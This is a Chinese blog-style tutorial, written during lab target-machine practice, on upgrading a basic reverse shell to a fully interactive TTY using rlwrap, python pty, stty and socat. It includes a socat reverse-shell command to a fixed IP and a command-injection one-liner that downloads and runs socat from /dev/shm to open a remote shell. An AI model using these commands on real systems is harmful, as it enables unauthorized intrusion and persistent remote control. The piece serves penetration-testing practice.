Linux 反向 shell 升级为完全可用的 TTY shell

前言

最近一周在打靶机，要弹shell，为了shell更加美观且易于操作，就浅浅写一下~

升级远程shell（仅限于Unix机器）

通常，在通过 nc 捕获 shell 之后，会在一个功能非常有限的 shell 中。例如没有命令历史记录（并使用“向上”和“向下”箭头循环浏览它们）和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。

注意 ：要检查 shell 是否是 TTY shell，请使用 tty 命令。

rlwrap

可以通过使用 rlwrap 命令包装 nc 侦听器来减轻对 shell 的一些限制。默认情况下不会安装它，需要使用 sudo apt rlwrap 或 apt-get install rlwrap 安装。

rlwrap nc -lvnp $port

使用python升级到完全交互式shell

1. 连接到shell以后，先检查一下python的可用性，可以用which命令：

   which python python2 python3

只要安装了其中任何一个，就将返回已安装二进制文件的路径。

2. 在shell中输入命令

   python3 -c 'import pty;pty.spawn("/bin/bash")';

3. 接下来，在靶机上输入以下命令来设置一些重要的环境变量：

   export SHELL=bash
   export TERM=xterm-256color #允许 clear，并且有颜色

4. ctrl+z将shell发送到后台

5. 设置 shell 以通过反向 shell 发送控制字符和其他原始输入。使用stty命令来执行此操作：

   stty raw -echo;fg

回车一次后输入 reset 再回车将再次进入 shell 中，TTY shell升级完毕

其他语言写入交互式 shell：

echo os.system('/bin/bash')
/bin/sh -i

#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

使用 socat

另一种方法是将 socat 二进制文件上传到靶机并获得一个完全交互式的 shell。从 https://github.com/andrew-d/static-binaries 下载适当的二进制文件。Socat 需要在两台机器上才能工作。

#在本地监听：:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#靶机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果在命令注入的地方注入反弹 shell，获得即时完全交互式的反向 shell：

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果靶机访问不了互联网，就先把 socat 文件下载下来，开启 http 服务，然后将上面的路径指向你的本地地址。

也可以走scp下载这条路。